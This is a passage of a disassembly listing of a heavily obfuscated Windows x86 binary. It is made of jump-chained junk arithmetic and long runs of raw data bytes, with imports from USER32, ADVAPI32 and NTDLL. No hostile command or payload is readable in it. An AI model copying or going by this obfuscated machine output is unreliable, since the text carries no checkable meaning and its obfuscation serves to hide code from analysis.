0A01AE9C1h, 0E953FFFFh, 0FFFF923Ah, 4FB0E955h dd 0E95CFFFFh, 0FFFEC32Fh, 0FEBB3FE9h, 52EE01FFh, 473135BAh dd 3DC68107h, 0E9716E51h, 0FFFFFAF9h ; --------------------------------------------------------------------------- loc_567A20: ; CODE XREF: sub_542C3C+1FDA3j add al, 2Bh jmp loc_5562EE ; --------------------------------------------------------------------------- db 81h dd 1D3151EFh, 0BA525B16h, 2, 0FEC0DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_567A39: ; CODE XREF: sub_542C3C+18C47j pop esp loc_567A3A: ; CODE XREF: sub_542C3C+11E20j ; sub_542C3C:loc_5552D7j push 1CC8h mov [esp+80h+var_80], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+80h+var_80] jmp loc_555255 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481240Ch, 4, 4EC81h, 4CE90000h, 52FFFF3Eh dd 0FF15D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_567A75: ; CODE XREF: sub_542C3C+22566j push 170511AAh pop edx xor edx, 712A4EA9h jmp loc_55E34A ; --------------------------------------------------------------------------- dw 535Ch dd 0DA88E388h, 24048B5Bh, 0FEBCA0E9h, 4C483FFh, 0C8B1188h dd 0D9F8E924h, 48FFFFEh, 0C3315C24h, 4EC8155h, 54000000h dd 8124048Fh, 42404h, 565D0000h, 5A74E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567AC2: ; CODE XREF: sub_542C3C+22AB9j sub ecx, 6F0724CDh push 2F3Ah mov [esp+80h+var_80], ebp push 71D1h mov [esp+84h+var_84], edi push esi mov esi, 3DA7BB6h mov edi, 704569Fh shl edi, 2 sub edi, 46E225AFh shl edi, 1 inc edi jmp loc_562003 ; --------------------------------------------------------------------------- loc_567AF4: ; CODE XREF: sub_542C3C+231D4j shr edi, 7 jmp loc_555AEB ; --------------------------------------------------------------------------- loc_567AFC: ; CODE XREF: sub_542C3C+1D863j xor ecx, edx pop edx push esi mov esi, ecx mov ebx, esi pop esi pop ecx jmp loc_565262 ; --------------------------------------------------------------------------- db 81h dd 3B31242Ch, 9AE90D1Eh, 8BFFFFF8h, 0E2E92404h, 68FFFF50h dd 4496h, 0E9243C89h, 0FFFF7079h, 24048B66h, 76C568h, 240C8900h dd 51535954h, 0FF5579E9h, 242C89FFh, 0BE5CC368h, 2434FF37h dd 4C4815Dh, 81000000h, 64BA7E5h, 0D740E93Ah, 0E480FFFFh dd 0F2EC805Eh, 5358E708h, 0FF936CE9h db 0FFh ; --------------------------------------------------------------------------- loc_567B6D: ; CODE XREF: sub_542C3C+1D447j sub ebp, 2D1B4B71h add ebp, 5AF36696h jmp loc_559FAF ; --------------------------------------------------------------------------- dw 8B66h dd 0F5682404h, 89000019h, 682434h, 8900004Dh, 0B8502424h dd 4, 0FF3009E9h, 4C481FFh, 0E9000000h, 0FFFEF58Ch ; --------------------------------------------------------------------------- loc_567BA8: ; CODE XREF: sub_542C3C+17E7Cj pop esi shr edx, 7 jmp loc_560D99 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 8704C083h, 535C2404h, 101A49BBh, 0E001E961h, 487FFFFh dd 0C3815C24h, 1F390EE1h, 43B8EB81h, 0FFE90B52h db 0BCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567BDF: ; CODE XREF: sub_542C3C+1DB9Cj pop ecx sub eax, 4A04342h push [esp+98h+var_98] pop edi jmp loc_5536A3 ; --------------------------------------------------------------------------- dw 0F740h dd 13430DD0h, 432D3EDDh, 0E9FFDFFBh, 0FFFF3CB3h, 240C335Eh dd 0E9240C31h, 0FFFEFBF3h, 0CBC58166h, 0C3816622h, 8166043Fh dd 662E16EBh, 6655EB01h, 0E921A6BDh, 0FFFFC47Bh ; --------------------------------------------------------------------------- loc_567C28: ; CODE XREF: sub_542C3C+14D97j pop ecx mov cx, word ptr [esp+0A6h+var_A6] push ebp push esp pop ebp add ebp, 4 jmp loc_55EB3B ; --------------------------------------------------------------------------- loc_567C3B: ; CODE XREF: sub_542C3C+1FAC0j sub esp, 4 jmp loc_55ABC6 ; --------------------------------------------------------------------------- db 8Fh dd 0E95C2404h, 0FFFF146Fh ; --------------------------------------------------------------------------- loc_567C4C: ; CODE XREF: sub_542C3C+11A13j add ebx, 69F265CAh sub ebx, 2B800FB6h mov ebp, [esp+90h+var_90] add esp, 4 push eax mov eax, 666AC755h jmp loc_55597C ; --------------------------------------------------------------------------- dd 15AD629h, 5CC681EEh, 5D21687Ah, 0BF59E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567C7E: ; CODE XREF: sub_542C3C+201F4j sub edi, ebp mov ebp, [esp+7Ch+var_7C] add esp, 4 jmp loc_563EB7 ; --------------------------------------------------------------------------- loc_567C8E: ; CODE XREF: sub_542C3C+244B5j mov edi, 73ED67A1h add edi, 0E8A3A41Ah sub ebx, 539E5C64h add ebx, edi add ebx, 539E5C64h pop edi add ebx, esi jmp loc_559153 ; --------------------------------------------------------------------------- db 0FFh dd 9DE92434h, 81FFFFFAh, 285CFCC2h, 4EA817Ch, 0F72B3656h dd 0EDDEE9DAh, 0BD55FFFEh, 4, 875DE901h, 215C240Ch, 242C8BEEh dd 4C481h, 0FE870000h, 0FE31D7F7h, 0DAE9F731h, 89FFFFECh dd 4C681E6h, 83000000h, 4EE904EEh db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567CFF: ; CODE XREF: sub_542C3C+10AA2j mov ebp, 4 sub ebx, ebp mov ebp, [esp+5Ch+var_5C] add esp, 4 push ebx push [esp+5Ch+var_58] mov ebx, [esp+60h+var_60] add esp, 4 pop [esp+5Ch+var_5C] pop esp mov [esp+54h+var_54], ecx mov ecx, 6A80E899h push ebp jmp loc_55CB13 ; --------------------------------------------------------------------------- loc_567D2C: ; CODE XREF: sub_542C3C+206E1j add esi, edx pop edx sub edx, 16E15A04h add edx, esi add edx, 16E15A04h pop esi sub edx, 4 jmp loc_5687CC ; --------------------------------------------------------------------------- loc_567D49: ; CODE XREF: sub_542C3C+1DAD0j dec esi sub esi, 1CE79107h add ecx, esi pop esi add ecx, ebp sub ecx, 6E181193h jmp loc_56059B ; --------------------------------------------------------------------------- dd 4AAEBF57h, 0A1E90B8Bh db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567D6B: ; CODE XREF: sub_542C3C+20A43j push eax mov eax, 4 sub edx, eax pop eax xchg edx, [esp+4Ch+var_4C] pop esp mov [esp+48h+var_48], ecx sub esp, 4 jmp loc_56332F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEB7C4h, 0AB99EF81h, 0F989E9FFh, 0A7F1815Fh, 5327AD61h dd 66021BBh, 5BD9311Fh, 1BF57h, 58E90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567DAB: ; CODE XREF: sub_542C3C+19FB5j sub edi, esi pop esi jmp loc_55B65A ; --------------------------------------------------------------------------- db 5Fh dd 8B24048Fh, 54552424h, 0D3E9535Dh, 81FFFF08h, 422AC5EBh dd 8BDE01AEh, 8956241Ch, 4C681E6h, 0E9000000h, 0FFFFC44Fh dd 8DE95551h, 81FFFFE0h, 4C7h, 0BE565000h, 78A1B7Ah, 0FF5AB5E9h dd 5BDE89FFh, 0E91C7709h, 0FFFF9149h, 34E95350h, 89FFFFE7h dd 0E789243Ch, 0FECD6EE9h, 81CE01FFh, 0F546FEEEh, 0B951593Eh dd 2, 0FF2C98E9h, 0E95F54FFh, 0FFFFFFB7h, 1B49ECBAh, 67C18134h dd 2931C651h, 79E955D1h db 0B9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567E3F: ; CODE XREF: sub_542C3C+1259Dj pop ebx jmp loc_558DCB ; --------------------------------------------------------------------------- db 0B1h, 6Ah, 0E9h dd 0FFFF60BEh ; --------------------------------------------------------------------------- loc_567E4C: ; CODE XREF: sub_542C3C+1CE2Bj movsx ecx, ax push 2BBAh mov [esp+0B6h+var_B6], ecx jmp loc_553E08 ; --------------------------------------------------------------------------- dd 2066C680h, 61C4E9F5h, 248BFFFFh, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 68E1F75Ch, 0B3Ch, 0FED43AE9h db 0FFh ; --------------------------------------------------------------------------- loc_567E85: ; CODE XREF: sub_542C3C+24360j push [esp+50h+var_50] jmp loc_557B23 ; --------------------------------------------------------------------------- db 81h, 0EFh, 0C0h dd 13DE752h, 0C0C781DFh, 813DE752h, 0B63850EFh, 38E95B5Bh dd 89FFFF83h, 5BBA2414h, 8139BE3Eh, 0EFCC88EAh, 740C2DF3h dd 0D0011E65h, 65740C05h, 0C5E1E91Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567EC6: ; CODE XREF: sub_542C3C+13BCBj mov [esp+84h+var_84], ebp mov ebp, 40484CF2h jmp loc_558E02 ; --------------------------------------------------------------------------- loc_567ED3: ; CODE XREF: sub_542C3C+24C07j mov ebx, 4 jmp loc_5551D7 ; --------------------------------------------------------------------------- loc_567EDD: ; CODE XREF: sub_542C3C+1DFADj add ebx, esi pop esi pop eax jmp loc_5636CF ; --------------------------------------------------------------------------- dw 0E181h dd 6388653Dh, 0D0D6C181h, 0CE9D9C4h, 0F7FFFFD6h, 4DBD55DEh dd 295234A3h, 0DE95DEEh, 80FFFFF8h, 0DE300FEBh, 0FEE661E9h db 0FFh ; --------------------------------------------------------------------------- loc_567F11: ; CODE XREF: sub_542C3C+1DAA1j pop ecx push ebx mov bl, al mov dh, bl pop ebx mov al, bl jmp loc_55DF5D ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9C10100h, 0FFFFFBEBh ; --------------------------------------------------------------------------- loc_567F2C: ; CODE XREF: sub_542C3C+15B21j sub eax, 50BA285Bh jmp loc_5550D7 ; --------------------------------------------------------------------------- loc_567F36: ; CODE XREF: sub_542C3C+11784j xor edx, 56CF743Eh sub edx, 10DD5EFAh add ebx, edx jmp loc_55CD35 ; --------------------------------------------------------------------------- loc_567F49: ; CODE XREF: sub_542C3C+1F8EAj sub eax, 47D55B3Ah jmp loc_56242C ; --------------------------------------------------------------------------- db 81h dd 42404h, 0C8B0000h, 4C48124h, 0E9000000h, 0FFFEDBF5h dd 0C5815D54h, 4, 46857h, 15F0000h, 0FF555FFDh, 8B042474h dd 0C481242Ch, 4, 8B24048Fh, 54572424h, 51243C8Bh, 0FF8122E9h dd 9DB450FFh, 0CCFECCFEh, 0FE03E4C0h, 0AEEC80CCh, 0FFC1D0E9h dd 0E94097FFh, 0FFFFCE8Ch ; --------------------------------------------------------------------------- loc_567FB4: ; CODE XREF: sub_542C3C+192ADj add edi, 0FFFFFFFFh jmp loc_5634D9 ; --------------------------------------------------------------------------- dd 0E904C783h, 0FFFFC65Ah ; --------------------------------------------------------------------------- loc_567FC4: ; CODE XREF: sub_542C3C+22D76j sub esi, 22FB37DCh xor esi, 31ED2186h xor esi, 0FCA9EB55h mov edi, esi mov esi, [esp+7Ch+var_7C] add esp, 4 add ebp, edi mov edi, [esp+78h+var_78] jmp loc_5577E9 ; --------------------------------------------------------------------------- dd 4BE56h, 0F1890000h, 8B2434FFh, 0C4812434h, 4, 5504C483h dd 0FF9500E9h, 240487FFh, 873DE95Ch, 0B951FFFFh, 4, 8359CB01h dd 1C8704C3h, 15A7E924h, 0C781FFFFh, 7FD9EA65h, 9AE9F829h dd 0BFFFFEFDh, 0D702F89Eh, 0FF534EE9h db 0FFh ; --------------------------------------------------------------------------- loc_568039: ; CODE XREF: sub_542C3C+17802j mov [esp+74h+var_74], esi mov esi, 136356D9h sub esi, 3652215Fh jmp loc_565809 ; --------------------------------------------------------------------------- dd 0B6183EB9h, 4E1C11Fh, 0D7F7F987h, 0FF38F0E9h db 0FFh ; --------------------------------------------------------------------------- loc_56805D: ; CODE XREF: sub_542C3C+24D35j add ebp, 5A14EE36h mov eax, ebp pop ebp jmp loc_55C60E ; --------------------------------------------------------------------------- db 81h dd 554A32C6h, 0F60AE92Ch, 815AFFFEh, 4C4h, 2C38100h, 81000000h dd 4ECh, 241C8900h, 0FF781AE9h, 241C8BFFh, 0FFA814E9h db 0FFh ; --------------------------------------------------------------------------- loc_568099: ; CODE XREF: sub_542C3C+17160j push 0 sub [esp+96h+var_98+2], ecx pop ecx shl ecx, 5 push edi push 564Fh mov [esp+9Ah+var_9C+2], eax mov eax, 58682057h mov edi, 4BD640C8h add edi, eax pop eax sub ecx, edi mov edi, [esp+96h+var_98+2] add esp, 4 mov [edi+20h], ecx pop ecx push 3660h mov [esp+92h+var_94+2], eax push 0 pop eax push 1B55h mov [esp+96h+var_98+2], eax push eax push ebp jmp loc_560109 ; --------------------------------------------------------------------------- dd 8851B62Ch, 0DBECE9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5680EE: ; CODE XREF: sub_542C3C+204FCj add esp, 4 push eax pop ebx push [esp+8Ch+var_8C] pop eax push 348Ch mov [esp+90h+var_90], ebp push esp pop ebp push ebx jmp loc_55C4E0 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24143300h, 33241431h, 248B2414h, 48B6624h, 77C76824h dd 14890000h, 815A5424h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 58542404h, 405h, 80E95100h, 0ADFFFFB9h, 4EC81h, 1C890000h dd 6B685024h, 58771A57h, 0FFB3ECE9h db 0FFh ; --------------------------------------------------------------------------- loc_56815D: ; CODE XREF: sub_542C3C+18289j push ebp push edi mov edi, 431C0881h neg edi add edi, 1DF320CDh or edi, 1C043096h inc edi push 4419h mov [esp+54h+var_54], esi push eax jmp loc_558022 ; --------------------------------------------------------------------------- db 88h, 0E2h, 58h dd 0E94DF280h, 0FFFF8271h, 6266C681h, 0BE95BB5h, 81FFFEE5h dd 722482E9h, 81F1014Ah, 722482C1h, 0C1835E4Ah, 240C8704h dd 5DA6685Ch, 1C890000h, 80B85024h, 252DFE60h, 704D39F6h dd 6803E0C1h, 1A1Bh, 0BA241489h, 75DF06BAh, 0CA81D2F7h dd 4BFE7B3Ah, 2414F752h, 0F92FE95Ah, 0E950FFFEh, 0FFFED5C6h dd 4BB31CB5h, 0E959EB30h, 0FFFFC5F9h, 0E9F08850h, 0FFFF3E78h dd 6851564Ah, 0E777E12h, 0E9D1F759h, 0FFFEC873h, 0C004C483h dd 0EFD006E7h, 6602EC83h, 0B2241489h, 66D730BFh, 90C7805Ah dd 0FF721CE9h, 8BB32CFFh, 0C481241Ch, 4, 0FF61A3E9h, 59C829FFh dd 8B64722Dh, 55782D0Eh, 0DC681A6Ch, 89000060h, 0B9BD242Ch dd 45493900h, 68h, 0F094E900h, 0BD55FFFEh, 1D952301h, 6CFEC581h dd 0E58160C8h, 5E6D59A3h, 0C581D5F7h, 447328FEh, 7C52B951h dd 0D9F76E66h, 0C778C181h, 0CD313106h, 5DE93159h, 0E981D9F7h dd 716592B9h, 0C8BC801h, 5D545524h, 0FEC124E9h, 0C9EF81FFh dd 815D9A2Ch, 0E7835C7h, 2434FF69h, 4C4815Dh, 0E9000000h dd 0FFFFBF31h, 81241C8Bh, 4C4h, 91BA5200h, 0E918C100h dd 0FFFF3546h, 835AD301h, 31E904EBh, 81FFFEE2h, 0CB0222EAh dd 81C2016Dh, 0CB0222C2h, 994E96Dh, 0F380FFFFh, 80D3F65Ah dd 0DA8844EBh, 0FFAD6EE9h, 0FB015FFFh, 0BEE3815Fh, 0E91A1B5Fh dd 0FFFFC032h, 54525258h, 4C2815Ah, 56000000h, 0FF3153E9h dd 0C4815CFFh, 4, 0FFF496E9h, 5EF201FFh, 4EC81h, 14890000h dd 0B899E924h, 0F209FFFEh, 1E81E95Eh, 0C483FFFFh, 2BD5504h dd 1000000h, 242C8BE8h, 0E904C483h, 0FFFF780Ah ; --------------------------------------------------------------------------- loc_568358: ; CODE XREF: sub_542C3C+1B8F1j mov ecx, 1CF45288h xor ecx, 5CAB5945h xor ecx, 27145DADh sub ebp, ecx pop ecx jmp loc_55F2C2 ; --------------------------------------------------------------------------- db 83h, 0ECh, 2 dd 0FFE527E9h, 7FC281FFh, 0E9319877h, 0FFFF9E33h, 815FFD31h dd 0FFFFFFEDh, 1327E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568392: ; CODE XREF: sub_542C3C+143DCj pop edi mov ebp, edi pop edi pop ecx xor ecx, ebp pop ebp and eax, ecx jmp loc_5604A4 ; --------------------------------------------------------------------------- aC_2 db '¶Û·C',0 dw 0E9F7h dd 0FFFF826Ah, 8704C183h, 0BBE9240Ch, 5D000000h, 8105E7C1h dd 3D88E0F7h, 0FE89568Bh, 5F5EF189h, 0B850D101h, 0 dd 0A5EA32Dh, 5C8011Fh, 1F0A5EA3h, 0FF581888h, 0E9592434h dd 0FFFF4D22h, 0B44E942Dh, 0E9C7012Fh, 0FFFFED71h, 2 dup(0D3F6CBFEh) dd 0C0EFCB80h, 0EB8006E3h, 0D1EB80FFh, 0B2E9D828h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56840F: ; CODE XREF: sub_542C3C+20065j push edi mov edi, 796B6281h jmp loc_55D9AC ; --------------------------------------------------------------------------- loc_56841A: ; CODE XREF: sub_542C3C+20C95j pop ebp push 653Ch mov [esp+84h+var_84], esi jmp loc_5553DE ; --------------------------------------------------------------------------- loc_568428: ; CODE XREF: sub_542C3C+22A5Aj mov [esp+44h+var_44], ebp mov ebp, esp jmp loc_55D8D7 ; --------------------------------------------------------------------------- loc_568432: ; CODE XREF: sub_542C3C+20CFFj mov ah, 82h jmp loc_55F757 ; --------------------------------------------------------------------------- loc_568439: ; CODE XREF: sub_542C3C+10D2Bj push 5B8769A5h mov ecx, [esp+48h+var_48] jmp loc_554E09 ; --------------------------------------------------------------------------- loc_568446: ; CODE XREF: sub_542C3C+18770j add esp, 4 sub esp, 4 mov [esp+5Ch+var_5C], eax mov eax, 3113792Dh push ebp mov ebp, 52C3069h jmp loc_553ABC ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 2414D366h, 0B0DAE99Ch, 685CFFFEh, 0CC3h dd 0E9243489h, 0FFFEE183h, 295BDE29h, 0ED815EF5h, 3C712B7Eh dd 0FF6152E9h, 0B0E951FFh, 5BFFFEB1h, 0FF33B8E9h, 0E9685FFFh dd 89000063h, 4B9240Ch, 0E9000000h, 0FFFFDA12h, 4A5AF4BDh dd 344EE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5684BA: ; CODE XREF: sub_542C3C+1ACADj add ebp, 4 push 568Dh mov [esp+0AEh+var_AE], ebp jmp loc_558500 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 6 dd 293AC381h, 0E9552E7Eh, 0FFFF586Ch ; --------------------------------------------------------------------------- loc_5684DC: ; CODE XREF: sub_542C3C+18A19j shr edx, 3 sub edx, 71463DD1h add edx, 7ED8FBD6h mov edi, edx jmp loc_559ECE ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C781h, 3C870000h, 0D7F65C24h, 5066C7FEh, 9CE9FCB4h dd 0FFFFFF13h, 0C8B2434h, 4C48324h, 0FF04C7E9h, 24048FFFh dd 124248Bh, 0E99C2404h, 0FFFEB020h, 8704E883h, 248B2404h dd 24348924h, 0FF4DC8E9h, 8DF181FFh, 0E987A3E6h, 0FFFF70DCh ; --------------------------------------------------------------------------- loc_568548: ; CODE XREF: sub_542C3C+1AB28j push 7CE8h mov [esp+86h+var_88+2], ebp push edx push 49B353CFh pop edx jmp loc_55C375 ; --------------------------------------------------------------------------- dd 55243489h, 8F382C68h, 58EDE94Dh, 0C181FFFFh, 439568C2h dd 0FEDCB5E9h, 0FECEB1FFh, 32C180C9h, 0FE59CB28h, 0BEE951C3h dd 52FFFFEEh, 0FFE9A8E9h, 0C8B66FFh, 4EC8124h, 89000000h dd 0E2892414h, 8904EC83h, 95E9241Ch, 52FFFF3Ch, 7C3E3668h dd 0F74A5A45h, 0CFBF57DAh, 29BA83BDh, 0B8F1E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5685BE: ; CODE XREF: sub_542C3C+1561Dj add ebp, 4DA81F73h mov esi, [esp+46h+var_48+2] jmp loc_55C48B ; --------------------------------------------------------------------------- dd 242C8B54h, 5704C483h, 0FF84C0E9h, 7741BEFFh, 0EE8141F6h dd 55427A3Ch, 0FEFDF2E9h, 0C98141FFh, 31E472E3h, 1BB9E981h dd 0EA81A740h, 28A19BFh, 0C281CA01h, 28A19BFh, 5AD62159h dd 0FEF706E9h, 64A5BFFFh, 69E9313Eh, 81FFFED8h, 6E793DC1h dd 0E981412Ah, 60147523h, 0E959C821h, 0FFFF1325h, 89240C89h dd 4C181E1h, 83000000h, 0C8704C1h, 0C5835C24h, 242C8702h dd 48B665Ch, 8B545124h, 0C483240Ch, 55626804h, 4890000h dd 4BE9B824h, 0E0C11163h, 8E0C102h, 0E953D0F7h, 0FFFF68EAh ; --------------------------------------------------------------------------- loc_56866C: ; CODE XREF: sub_542C3C+243B3j add esp, 4 sub esp, 4 mov [esp+76h+var_78+2], edx push 66605822h pop edx push ecx push edx mov edx, 57465247h shr edx, 1 dec edx push edi mov edi, 74341EB4h xor edi, 32C77BC7h xor edx, edi pop edi mov ecx, edx pop edx add ecx, 592F13Eh or edx, ecx jmp loc_55466E ; --------------------------------------------------------------------------- loc_5686A7: ; CODE XREF: sub_542C3C+13F4Bj add edx, 1 sub esp, 4 mov [esp+7Ch+var_7C], edx dec [esp+7Ch+var_7C] mov edx, [esp+7Ch+var_7C] add esp, 4 jmp loc_56758E ; --------------------------------------------------------------------------- loc_5686C7: ; CODE XREF: sub_542C3C+23266j add eax, edi pop edi xor ebx, eax jmp loc_55C0AA ; --------------------------------------------------------------------------- db 0E9h, 76h, 0AEh dd 0E5C1FFFEh, 18C58102h, 10887EEh, 0C1815DE9h, 4, 0FEEB45E9h dd 2434FFFFh, 4C4815Ah, 51000000h, 42474FFh, 24048F59h dd 6624248Bh, 0E9240489h, 0FFFEAE40h, 247BACBBh, 48EAE928h dd 489FFFFh, 81B4E924h, 3487FFFFh, 68E95C24h, 29FFFEE3h dd 0C3815DEBh, 52555E6h, 8B2434FFh, 0C481240Ch, 4, 4C481h dd 8B660000h, 55572414h, 0FF3BBCE9h, 4EC83FFh, 0FF9DD6E9h db 0FFh ; --------------------------------------------------------------------------- loc_568755: ; CODE XREF: sub_542C3C+19CFCj and ebp, 5EBD00A4h jmp loc_56007D ; --------------------------------------------------------------------------- dd 0D7686FB3h, 0E9000012h, 0FFFFD2EDh, 0EB242C81h, 0E9057F76h dd 0FFFEE918h ; --------------------------------------------------------------------------- loc_568778: ; CODE XREF: sub_542C3C+143EFj pop edi xor eax, edx push [esp+8Ch+var_8C] push [esp+90h+var_90] pop edx add esp, 4 add esp, 4 jmp loc_564E9C ; --------------------------------------------------------------------------- dd 0A4E9515Ch, 81FFFEE7h, 4C4h, 0DA0CE900h, 0E95BFFFFh dd 0FFFF5951h ; --------------------------------------------------------------------------- loc_5687A8: ; CODE XREF: sub_542C3C+1EFA3j push ecx jmp loc_555F29 ; --------------------------------------------------------------------------- dw 0EA29h dd 481525Dh, 0C04C9424h, 0EB815B67h, 67C04C94h, 50C7815Ah dd 0E95BB638h, 0FFFFF6C1h ; --------------------------------------------------------------------------- loc_5687CC: ; CODE XREF: sub_542C3C+25108j xor edx, [esp+74h+var_74] jmp loc_5569B6 ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 8847A02Dh, 5D00103h, 38847A0h, 2099685Ah dd 4890000h, 2474FF24h, 48F5804h, 24248B24h, 9C240409h dd 0FEAD47E9h, 24248BFFh, 0C107E3C1h, 0EBC104EBh, 0AA96E902h dd 5868FFFFh, 8900001Fh, 0DFBE2434h, 8101D937h, 0F93246F6h dd 8E6C12Fh, 5CFFC681h, 0C0E93343h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568837: ; CODE XREF: sub_542C3C+2076Aj mov eax, [esp+80h+var_80] add esp, 4 sub ebx, 1B271F96h pop small word ptr [eax] jmp loc_55354C ; --------------------------------------------------------------------------- loc_56884B: ; CODE XREF: sub_542C3C+121D9j shr ecx, 6 shl ecx, 7 jmp loc_567103 ; --------------------------------------------------------------------------- loc_568856: ; CODE XREF: sub_542C3C+1C95Fj push eax sub esp, 4 jmp loc_554C4C ; --------------------------------------------------------------------------- dw 0D588h dd 0E959E888h, 0FFFF01B6h, 4B3068h, 38C8E900h, 895CFFFFh dd 0E3BB241Ch, 5169BA2Ah, 994B70B9h, 595E51C4h, 295BDE01h dd 0CF46E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568892: ; CODE XREF: sub_542C3C+21AB1j mov ebx, 13C06636h xor [esp+96h+var_94+2], ebx pop ebx jmp loc_558FD1 ; --------------------------------------------------------------------------- db 81h, 0F2h, 0A0h dd 815B4921h, 534F2C2h, 9CEA8174h, 29FDCD37h, 0C5815AD1h dd 35551DF6h, 0ED81CD01h, 35551DF6h, 0FFAA2DE9h, 6BF3BAFFh dd 0EAC10600h, 5E2C102h, 436CBE56h, 0F2213CFDh, 2F2815Eh dd 0E940E073h, 0FFFFF914h, 4DBBA52h, 0CA8162E0h, 4A1005F8h dd 0E9FFC283h, 0FFFF7220h, 60A2E951h, 97B9FFFFh, 5614895Ch dd 0FFA6F9E9h, 0D5E957FFh, 81FFFF01h, 4C7h, 1E58E900h dd 6858FFFFh, 79CCh, 0FFF218E9h, 4EC81FFh, 0E9000000h dd 0FFFFFCF8h, 6DFC381h, 0E3C1795Dh, 0CFF38107h, 0F7252051h dd 34F381D3h, 1BC7C7Fh, 44E95BD8h, 58FFFEF1h, 0EC835B66h dd 0E84AE904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56895E: ; CODE XREF: sub_542C3C+3D12j jmp short loc_568996 ; --------------------------------------------------------------------------- aUser32_dll_0 db 'USER32.dll',0 aAdvapi32_dll_0 db 'ADVAPI32.dll',0 aNtdll_dll_0 db 'NTDLL.dll',0 db '×',7,7,0 dw 4 dd 11001Ah, 0 dd 0EF3C031Bh db 5Fh, 5Dh ; --------------------------------------------------------------------------- loc_568996: ; CODE XREF: sub_542C3C:loc_56895Ej jmp loc_569256 ; --------------------------------------------------------------------------- db 68h dd 5E99EF5h, 0FDE28EE9h, 9F8868FFh, 84E905E9h, 68FFFDE2h dd 5E9A07Ah, 0FDE27AE9h, 0A1B068FFh, 70E905E9h, 68FFFDE2h dd 5E9A231h, 0FDE266E9h, 0A33168FFh, 5CE905E9h, 68FFFDE2h dd 5E9A39Eh, 0FDE252E9h, 37E202FFh, 80A951A1h, 0CE4B9AEAh dd 1918E838h, 61C83383h, 2649B2CBh, 6EBE54D5h, 0BB0BA190h dd 555EB46h, 0CCA137FAh, 71E2C6B3h, 846A5A7Bh, 331F57FFh dd 0F4E19800h, 5176E2B1h, 55D42634h, 0D4410F1Dh, 0A205192Bh dd 1A3B38F9h, 9C80F7E2h, 0BFE89333h, 7388964Dh, 99D169B6h dd 0C5529986h, 4D23138h, 0CCB9CEB7h, 3A3AC5E8h, 0C46AA270h dd 60722993h, 84774083h, 0CC058A5h, 0ABE361E1h, 80F5AB98h dd 5B70371Fh, 21A28A6Eh, 6F31240h, 4021A322h, 3E76DCAAh dd 9DAB6230h, 0E239CF62h, 91B75D0h, 846173A9h, 0EBF72F95h dd 7F91D14h, 61FF438Fh, 6FAE084h, 29BB0000h, 0F00A5AF0h dd 9253A339h, 5FA1F187h, 0FEC3CD2h, 26B841Ah, 770D1CDFh dd 0C45AD727h, 0EA48D74h, 5AF041BEh, 9B7F6C85h, 235A7B71h dd 39C6B83Dh, 90DD4CAEh, 5C4592F8h, 317EB34Eh, 6610964Bh dd 6AD0D7F2h, 0F15B8C32h, 6F284D3Ah, 91A35178h, 0E46E539Eh dd 0A0AEE633h, 0F4D50084h, 0EB510A73h, 0CDB2634h, 270AF5F2h dd 76DC74C1h, 954AB1BFh, 1562C869h, 353457Dh, 4E633FEh dd 3B13E8FBh, 0E643E4E3h, 5FAE5C80h, 0DDBAE4E9h, 66739h dd 83964E00h, 0CC5D9DEDh, 1AFFE636h, 65CC3484h, 0AD7C7FCFh dd 7295FE17h, 0BA0AA089h, 757ED44h, 51A137FAh, 18ED83AEh dd 732E12FFh, 0D0B65A7Bh, 0F839C64Bh, 0C022F41h, 9D4ABFF2h dd 25DABC65h, 0C224BF0Ch, 45974134h, 5B78457Ch, 23000000h dd 62F839C6h, 0D407E70Dh, 76895491h, 2EF04BBh, 5491D41Eh dd 0AEA0D8A6h, 1CDF93C4h, 0C228C00Dh, 0E7EFF90Bh, 0C408869Fh dd 0C44ED14h, 0A1760CF9h, 0A8765177h, 131EE3F1h, 0BE14267Dh dd 6C444E85h, 5387D286h, 15273777h, 130D1DDh, 3EBDCBB4h dd 0CE069EEBh, 5BF00h, 39C66300h, 42FABF8h, 8DF0DD94h dd 155176C5h, 9E61B147h, 0E2CADC93h, 5C499205h, 7761538Bh dd 3825DC4Ch, 575FF996h, 0B19D09Eh, 72843BF6h, 0C3E3B413h dd 0D7C9014Bh, 6AB77A87h, 96BA7788h, 0DF01577Eh, 756D11EEh dd 40000005h, 8FDF75A4h, 0D828BE6Bh, 26760C0Dh, 71C157DAh dd 0F0099F8Ah, 92976487h, 0DF52ACFCh, 2908F949h, 75BC4393h dd 4F10ADFh, 5A7B7420h, 0C63DC2A8h, 0C9ABF839h, 13AEFB36h dd 0B72D5BB1h, 0B25491D2h, 0D4CCB09Dh, 86545491h, 91D513F7h dd 67CD9B54h, 7CFD32DBh, 4B5D7245h, 0FE11167Dh, 694DDC45h dd 0F1549285h, 0BA0722D9h, 1284BC22h, 